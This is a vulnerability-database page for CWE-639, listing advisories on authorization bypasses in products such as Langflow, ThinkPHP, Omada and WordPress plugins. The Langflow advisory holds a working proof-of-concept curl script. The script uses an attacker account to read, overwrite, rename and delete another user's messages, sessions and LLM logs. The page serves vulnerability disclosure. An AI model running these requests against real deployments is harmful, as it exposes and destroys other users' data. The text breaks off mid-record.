Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

5428 vulnerabilities reference this CWE, most recent first.

GHSA-98QR-JPXV-VFP8

Vulnerability from github – Published: 2026-07-14 12:31 – Updated: 2026-07-14 12:31
VLAI
Details

A vulnerability relating to insufficient access control has been identified in the session management of the Sesame Time web application and its REST v3 API. The flaw lies in the fact that the system uses the session identifier (USID) as the sole validation mechanism, without verifying whether that identifier legitimately belongs to the user making the request. As a result, an attacker who obtains a valid USID can impersonate a victim’s session and access their confidential information, including emails, user IDs, roles and corporate data. This vulnerability is exacerbated by poor session lifecycle management: new logins generate additional USIDs without revoking the previous ones, allowing multiple active sessions to coexist and thereby expanding the attack surface.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-15389"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T11:16:48Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability relating to insufficient access control has been identified in the session management of the Sesame Time web application and its REST v3 API. The flaw lies in the fact that the system uses the session identifier (USID) as the sole validation mechanism, without verifying whether that identifier legitimately belongs to the user making the request. As a result, an attacker who obtains a valid USID can impersonate a victim\u2019s session and access their confidential information, including emails, user IDs, roles and corporate data. This vulnerability is exacerbated by poor session lifecycle management: new logins generate additional USIDs without revoking the previous ones, allowing multiple active sessions to coexist and thereby expanding the attack surface.",
  "id": "GHSA-98qr-jpxv-vfp8",
  "modified": "2026-07-14T12:31:15Z",
  "published": "2026-07-14T12:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15389"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/inadequate-access-control-sesame-time-session-management"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-98W3-FRC2-62P8

Vulnerability from github – Published: 2026-04-22 18:31 – Updated: 2026-04-22 18:31
VLAI
Details

ThinkPHP 5.0.23 contains a remote code execution vulnerability that allows unauthenticated attackers to execute arbitrary PHP code by invoking functions through the routing parameter. Attackers can craft requests to the index.php endpoint with malicious function parameters to execute system commands with application privileges.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2018-25270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-22T16:16:47Z",
    "severity": "CRITICAL"
  },
  "details": "ThinkPHP 5.0.23 contains a remote code execution vulnerability that allows unauthenticated attackers to execute arbitrary PHP code by invoking functions through the routing parameter. Attackers can craft requests to the index.php endpoint with malicious function parameters to execute system commands with application privileges.",
  "id": "GHSA-98w3-frc2-62p8",
  "modified": "2026-04-22T18:31:44Z",
  "published": "2026-04-22T18:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25270"
    },
    {
      "type": "WEB",
      "url": "https://github.com/top-think/framework"
    },
    {
      "type": "WEB",
      "url": "https://thinkphp.cn"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/45978"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/thinkphp-remote-code-execution-via-invokefunction"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9922-J5R7-R6HP

Vulnerability from github – Published: 2026-07-31 09:31 – Updated: 2026-07-31 15:32
VLAI
Details

The Paid Membership Subscriptions WordPress plugin before 3.0.7 does not perform capability or nonce checks on one of its payment-related AJAX actions, allowing any authenticated user with Subscriber-level access and above to disclose the payment details of any member by enumerating the payment identifier.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-14847"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-31T07:16:25Z",
    "severity": "MODERATE"
  },
  "details": "The Paid Membership Subscriptions  WordPress plugin before 3.0.7 does not perform capability or nonce checks on one of its payment-related AJAX actions, allowing any authenticated user with Subscriber-level access and above to disclose the payment details of any member by enumerating the payment identifier.",
  "id": "GHSA-9922-j5r7-r6hp",
  "modified": "2026-07-31T15:32:49Z",
  "published": "2026-07-31T09:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14847"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/5cd6d414-8d7d-4627-9649-af092a1afb75"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-992G-9CR3-VM5X

Vulnerability from github – Published: 2026-09-22 20:40 – Updated: 2026-09-22 20:40
VLAI
Summary
Hatchet DurableTask WorkerStatus gRPC resolves caller-supplied durable-task UUIDs via ListSatisfiedEntries with no tenant_id filter
Details

Cross-tenant disclosure risk on DurableTask bidi RPC

This is a low-severity, low-risk cross-tenant data exposure vuln caused by blindly accepting a durable task id, in addition to a list of node and branch ids that identify records in that task's event log, and returning them to the caller via the handleWorkerStatus polling path.

Impact

This advisory requires an attacker to successfully guess a durable task's external uuid belonging to another tenant. External ids are generated uuid v4s (uuid.New() in Go), so exploitation requires prior knowledge of a target task UUID through an out-of-band channel. Thus, while the following environments are impacted, there is an extremely low probability it would be exploited.

Who is impacted. Any Hatchet deployment that hosts more than one tenant on the same instance:

  • Hatchet Cloud (multi-tenant SaaS)
  • Self-hosted Hatchet with multiple internal teams / business units sharing one instance
  • Any deployment where a single tenant's API token can be obtained by an attacker

Single-tenant self-hosted deployments are unaffected in practice (the "victim" and "attacker" tenants would be the same).

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hatchet-dev/hatchet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.106.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88978"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:40:46Z",
    "nvd_published_at": "2026-09-21T16:17:26Z",
    "severity": "MODERATE"
  },
  "details": "# Cross-tenant disclosure risk on `DurableTask` bidi RPC\n\nThis is a low-severity, low-risk cross-tenant data exposure vuln caused by blindly accepting a durable task id, in addition to a list of node and branch ids that identify records in that task\u0027s event log, and returning them to the caller via the `handleWorkerStatus` polling path.\n\n# Impact\n\nThis advisory requires an attacker to successfully guess a durable task\u0027s external uuid belonging to another tenant. External ids are generated uuid v4s (`uuid.New()` in Go), so exploitation requires prior knowledge of a target task UUID through an out-of-band channel. Thus, while the following environments are impacted, there is an extremely low probability it would be exploited.\n\n### Who is impacted. Any Hatchet deployment that hosts more than one tenant on the same instance:\n\n* Hatchet Cloud (multi-tenant SaaS)\n* Self-hosted Hatchet with multiple internal teams / business units sharing one instance\n* Any deployment where a single tenant\u0027s API token can be obtained by an attacker\n\nSingle-tenant self-hosted deployments are unaffected in practice (the \"victim\" and \"attacker\" tenants would be the same).",
  "id": "GHSA-992g-9cr3-vm5x",
  "modified": "2026-09-22T20:40:46Z",
  "published": "2026-09-22T20:40:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hatchet-dev/hatchet/security/advisories/GHSA-992g-9cr3-vm5x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88978"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hatchet-dev/hatchet/commit/15bc7923d3a8ebfeb0d88c19160dd24828921e85"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hatchet-dev/hatchet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hatchet DurableTask WorkerStatus gRPC resolves caller-supplied durable-task UUIDs via ListSatisfiedEntries with no tenant_id filter"
}

GHSA-992G-W5J8-QHCQ

Vulnerability from github – Published: 2026-10-15 00:31 – Updated: 2026-10-15 00:31
VLAI
Details

In Omada Controller MSP mode, the user-confirmation endpoint fails to enforce the required permission check. An authenticated user can supply a caller-controlled Identifier parameter to validate credentials for another account and receive responses that distinguish nonexistent users, invalid passwords, and successful authentication. 

Successful exploitation may allow user enumeration, credential verification, and unauthorized access to MSP resources or compromise of targeted accounts.

Severity
7.5 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-102298"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-14T22:17:22Z",
    "severity": "HIGH"
  },
  "details": "In Omada Controller MSP mode, the user-confirmation endpoint fails to enforce the required permission check. An authenticated user can supply a caller-controlled Identifier parameter to validate credentials for another account and receive responses that distinguish nonexistent users, invalid passwords, and successful authentication.\u00a0\n\nSuccessful exploitation may allow user enumeration, credential verification, and unauthorized access to MSP resources or compromise of targeted accounts.",
  "id": "GHSA-992g-w5j8-qhcq",
  "modified": "2026-10-15T00:31:15Z",
  "published": "2026-10-15T00:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102298"
    },
    {
      "type": "WEB",
      "url": "https://support.omadanetworks.com/en/download/software/omada-controller"
    },
    {
      "type": "WEB",
      "url": "https://support.omadanetworks.com/us/document/136187"
    },
    {
      "type": "WEB",
      "url": "https://support.omadanetworks.com/us/download/software/omada-controller"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9986-2JVX-WMGV

Vulnerability from github – Published: 2026-08-25 03:32 – Updated: 2026-08-25 03:32
VLAI
Details

The WP Courses LMS – Online Courses Builder, eLearning Courses, Courses Solution, Education Courses plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.2.29 via the 'resultID' parameter due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with custom-level access and above, to read any other user's quiz answers and scores by enumerating the incrementing resultID value via the wpcq_get_quiz_result AJAX action. The only access control on this endpoint is a nonce check (wpc_nonce) that is exposed to every logged-in user on the frontend, providing no meaningful authorization barrier.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-10630"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T02:16:39Z",
    "severity": "MODERATE"
  },
  "details": "The WP Courses LMS \u2013 Online Courses Builder, eLearning Courses, Courses Solution, Education Courses plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.2.29 via the \u0027resultID\u0027 parameter due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with custom-level access and above, to read any other user\u0027s quiz answers and scores by enumerating the incrementing resultID value via the wpcq_get_quiz_result AJAX action. The only access control on this endpoint is a nonce check (wpc_nonce) that is exposed to every logged-in user on the frontend, providing no meaningful authorization barrier.",
  "id": "GHSA-9986-2jvx-wmgv",
  "modified": "2026-08-25T03:32:08Z",
  "published": "2026-08-25T03:32:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10630"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-courses/tags/3.2.28/classes/WPCQ_Ajax.php#L28"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-courses/tags/3.2.28/classes/WPCQ_Ajax.php#L87"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-courses/tags/3.2.28/classes/WPCQ_Ajax.php#L91"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-courses/tags/3.2.29/classes/WPCQ_Ajax.php#L28"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-courses/tags/3.2.29/classes/WPCQ_Ajax.php#L87"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-courses/tags/3.2.29/classes/WPCQ_Ajax.php#L91"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3660496%40wp-courses\u0026new=3660496%40wp-courses"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/83936cda-e868-44f6-be5d-f26086bc4688?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-99FR-5JWF-5MF5

Vulnerability from github – Published: 2023-03-24 15:30 – Updated: 2025-02-21 18:31
VLAI
Details

Faveo 5.0.1 allows remote attackers to obtain sensitive information via a modified user ID in an Insecure Direct Object Reference (IDOR) attack.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-24625"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-24T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Faveo 5.0.1 allows remote attackers to obtain sensitive information via a modified user ID in an Insecure Direct Object Reference (IDOR) attack.",
  "id": "GHSA-99fr-5jwf-5mf5",
  "modified": "2025-02-21T18:31:02Z",
  "published": "2023-03-24T15:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24625"
    },
    {
      "type": "WEB",
      "url": "https://cupc4k3.lol/cve-2023-24625-idor-in-faveo-service-desk-37a63f53d896"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/%40cupc4k3/vulnerabilities-in-faveo-service-desk-37a63f53d896"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@cupc4k3/vulnerabilities-in-faveo-service-desk-37a63f53d896"
    },
    {
      "type": "WEB",
      "url": "https://www.faveohelpdesk.com/servicedesk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9C59-2MVC-VFR8

Vulnerability from github – Published: 2026-06-16 17:34 – Updated: 2026-07-20 13:40
VLAI
Summary
Langflow: IDOR/BOLA in Monitor API — Missing Ownership Enforcement on 7 Endpoints
Details

Summary

Langflow's /api/v1/monitor router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources — messages, sessions, build artifacts, and LLM transaction logs — without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or flow_id. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (monitor.py) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied.

Details

Source file: src/backend/base/langflow/api/v1/monitor.py

The correct pattern (used only in GET /monitor/messages, lines 77–80):

stmt = select(MessageTable)
stmt = stmt.join(Flow, MessageTable.flow_id == Flow.id)
stmt = stmt.where(Flow.user_id == current_user.id)  # ownership enforced

All 7 vulnerable endpoints are missing this guard:

1. GET /api/v1/monitor/builds (lines 27–33) — reads build data for any flow_id:

@router.get("/builds", dependencies=[Depends(get_current_active_user)])
async def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession):
    vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id)  # no ownership check
    return VertexBuildMapModel.from_list_of_dicts(vertex_builds)

2. DELETE /api/v1/monitor/messages (lines 102–107) — deletes any message by UUID:

@router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)])
async def delete_messages(message_ids: list[UUID], session: DbSession):
    await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids)))
    # message_ids accepted verbatim, no ownership check

3. PUT /api/v1/monitor/messages/{message_id} (lines 110–134) — overwrites any message:

db_message = await session.get(MessageTable, message_id)
# no check: db_message.flow_id → Flow.user_id == current_user.id
db_message.sqlmodel_update(message_dict)

4. PATCH /api/v1/monitor/messages/session/{old_session_id} (lines 137–171) — renames any session:

stmt = select(MessageTable).where(MessageTable.session_id == old_session_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id

5. DELETE /api/v1/monitor/messages/session/{session_id} (lines 174–188) — bulk-deletes any session:

await session.exec(
    delete(MessageTable).where(col(MessageTable.session_id) == session_id)
    # no ownership filter
)

6. GET /api/v1/monitor/transactions (lines 191–211) — reads LLM prompt/response logs for any flow_id:

stmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id

7. DELETE /api/v1/monitor/builds — deletes build records for any flow_id: Shares the same root cause as endpoint #1 (GET /builds): flow_id is accepted as a bare query parameter and passed to the deletion path without a WHERE Flow.user_id == current_user.id ownership check, so any authenticated user can destroy another user's build artifacts.

PoC

Tested on Langflow v1.7.3 (langflowai/langflow:1.7.3) with two accounts: langflow (victim) and attacker_test (attacker).

# Setup: authenticate both users
TOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \
  -d "username=langflow&password=langflow" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

ATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \
  -d "username=attacker_test&password=Attacker123" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Victim creates a flow (attacker only needs to know the flow_id — obtainable via brute force or enumeration)
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"victim-flow","data":{"nodes":[],"edges":[]}}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

# PoC 1: Read victim's LLM transaction logs (prompts + model responses)
curl -s "http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200 — full transaction log returned including user prompts and model responses

# PoC 2: Read victim's build data
curl -s "http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200

# PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above)
curl -s -X DELETE "http://localhost:7860/api/v1/monitor/messages" \
  -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
  -d '["<victim_message_id>"]'
# HTTP 204 — message deleted

# PoC 4: Tamper with victim's message content
curl -s -X PUT "http://localhost:7860/api/v1/monitor/messages/<victim_message_id>" \
  -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
  -d '{"text":"TAMPERED BY ATTACKER"}'
# HTTP 200 — message overwritten, "edit":true set

# PoC 5: Rename victim's session
curl -s -X PATCH \
  "http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200 — session renamed

# PoC 6: Bulk-delete victim's entire session
curl -s -X DELETE \
  "http://localhost:7860/api/v1/monitor/messages/session/victim-session-2" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 204 — entire session deleted

All 6 demonstrated attack vectors confirmed (the 7th, DELETE /builds, shares the GET /builds root cause and was not separately scripted). After attacker operations: victim's message text read "TAMPERED BY ATTACKER", session renamed to attacker-controlled name, second session completely deleted.

Impact

This vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted).

Confidentiality: GET /transactions exposes the full LLM conversation history — user-submitted prompts and model responses — for any flow by flow_id. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). GET /builds exposes internal workflow execution state.

Integrity: PUT /messages/{id} allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. PATCH /messages/session/{id} allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces.

Availability: DELETE /messages and DELETE /messages/session/{id} enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted.

Any registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T17:34:21Z",
    "nvd_published_at": "2026-06-23T17:16:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nLangflow\u0027s `/api/v1/monitor` router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources \u2014 messages, sessions, build artifacts, and LLM transaction logs \u2014 without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user\u0027s data by supplying the target\u0027s resource ID or `flow_id`. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (`monitor.py`) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied.\n\n\n### Details\n\n**Source file: `src/backend/base/langflow/api/v1/monitor.py`**\n\nThe correct pattern (used only in `GET /monitor/messages`, lines 77\u201380):\n```python\nstmt = select(MessageTable)\nstmt = stmt.join(Flow, MessageTable.flow_id == Flow.id)\nstmt = stmt.where(Flow.user_id == current_user.id)  # ownership enforced\n```\n\nAll 7 vulnerable endpoints are missing this guard:\n\n**1. `GET /api/v1/monitor/builds` (lines 27\u201333)** \u2014 reads build data for any `flow_id`:\n```python\n@router.get(\"/builds\", dependencies=[Depends(get_current_active_user)])\nasync def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession):\n    vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id)  # no ownership check\n    return VertexBuildMapModel.from_list_of_dicts(vertex_builds)\n```\n\n**2. `DELETE /api/v1/monitor/messages` (lines 102\u2013107)** \u2014 deletes any message by UUID:\n```python\n@router.delete(\"/messages\", status_code=204, dependencies=[Depends(get_current_active_user)])\nasync def delete_messages(message_ids: list[UUID], session: DbSession):\n    await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids)))\n    # message_ids accepted verbatim, no ownership check\n```\n\n**3. `PUT /api/v1/monitor/messages/{message_id}` (lines 110\u2013134)** \u2014 overwrites any message:\n```python\ndb_message = await session.get(MessageTable, message_id)\n# no check: db_message.flow_id \u2192 Flow.user_id == current_user.id\ndb_message.sqlmodel_update(message_dict)\n```\n\n**4. `PATCH /api/v1/monitor/messages/session/{old_session_id}` (lines 137\u2013171)** \u2014 renames any session:\n```python\nstmt = select(MessageTable).where(MessageTable.session_id == old_session_id)\n# no JOIN to Flow, no WHERE Flow.user_id == current_user.id\n```\n\n**5. `DELETE /api/v1/monitor/messages/session/{session_id}` (lines 174\u2013188)** \u2014 bulk-deletes any session:\n```python\nawait session.exec(\n    delete(MessageTable).where(col(MessageTable.session_id) == session_id)\n    # no ownership filter\n)\n```\n\n**6. `GET /api/v1/monitor/transactions` (lines 191\u2013211)** \u2014 reads LLM prompt/response logs for any `flow_id`:\n```python\nstmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id)\n# no JOIN to Flow, no WHERE Flow.user_id == current_user.id\n```\n\n**7. `DELETE /api/v1/monitor/builds`** \u2014 deletes build records for any `flow_id`:\nShares the same root cause as endpoint #1 (`GET /builds`): `flow_id` is accepted as a bare query parameter and passed to the deletion path without a `WHERE Flow.user_id == current_user.id` ownership check, so any authenticated user can destroy another user\u0027s build artifacts.\n\n### PoC\n\nTested on Langflow v1.7.3 (`langflowai/langflow:1.7.3`) with two accounts: `langflow` (victim) and `attacker_test` (attacker).\n\n```bash\n# Setup: authenticate both users\nTOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \\\n  -d \"username=langflow\u0026password=langflow\" \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027access_token\u0027])\")\n\nATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \\\n  -d \"username=attacker_test\u0026password=Attacker123\" \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027access_token\u0027])\")\n\n# Victim creates a flow (attacker only needs to know the flow_id \u2014 obtainable via brute force or enumeration)\nFLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \\\n  -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]}}\u0027 \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027id\u0027])\")\n\n# PoC 1: Read victim\u0027s LLM transaction logs (prompts + model responses)\ncurl -s \"http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID\" \\\n  -H \"Authorization: Bearer $ATTKR\"\n# HTTP 200 \u2014 full transaction log returned including user prompts and model responses\n\n# PoC 2: Read victim\u0027s build data\ncurl -s \"http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID\" \\\n  -H \"Authorization: Bearer $ATTKR\"\n# HTTP 200\n\n# PoC 3: Delete victim\u0027s message (MESSAGE_ID obtained from transaction log above)\ncurl -s -X DELETE \"http://localhost:7860/api/v1/monitor/messages\" \\\n  -H \"Authorization: Bearer $ATTKR\" -H \"Content-Type: application/json\" \\\n  -d \u0027[\"\u003cvictim_message_id\u003e\"]\u0027\n# HTTP 204 \u2014 message deleted\n\n# PoC 4: Tamper with victim\u0027s message content\ncurl -s -X PUT \"http://localhost:7860/api/v1/monitor/messages/\u003cvictim_message_id\u003e\" \\\n  -H \"Authorization: Bearer $ATTKR\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"text\":\"TAMPERED BY ATTACKER\"}\u0027\n# HTTP 200 \u2014 message overwritten, \"edit\":true set\n\n# PoC 5: Rename victim\u0027s session\ncurl -s -X PATCH \\\n  \"http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled\" \\\n  -H \"Authorization: Bearer $ATTKR\"\n# HTTP 200 \u2014 session renamed\n\n# PoC 6: Bulk-delete victim\u0027s entire session\ncurl -s -X DELETE \\\n  \"http://localhost:7860/api/v1/monitor/messages/session/victim-session-2\" \\\n  -H \"Authorization: Bearer $ATTKR\"\n# HTTP 204 \u2014 entire session deleted\n```\n\nAll 6 demonstrated attack vectors confirmed (the 7th, `DELETE /builds`, shares the `GET /builds` root cause and was not separately scripted). After attacker operations: victim\u0027s message text read `\"TAMPERED BY ATTACKER\"`, session renamed to attacker-controlled name, second session completely deleted.\n\n### Impact\n\nThis vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted).\n\n**Confidentiality:** `GET /transactions` exposes the full 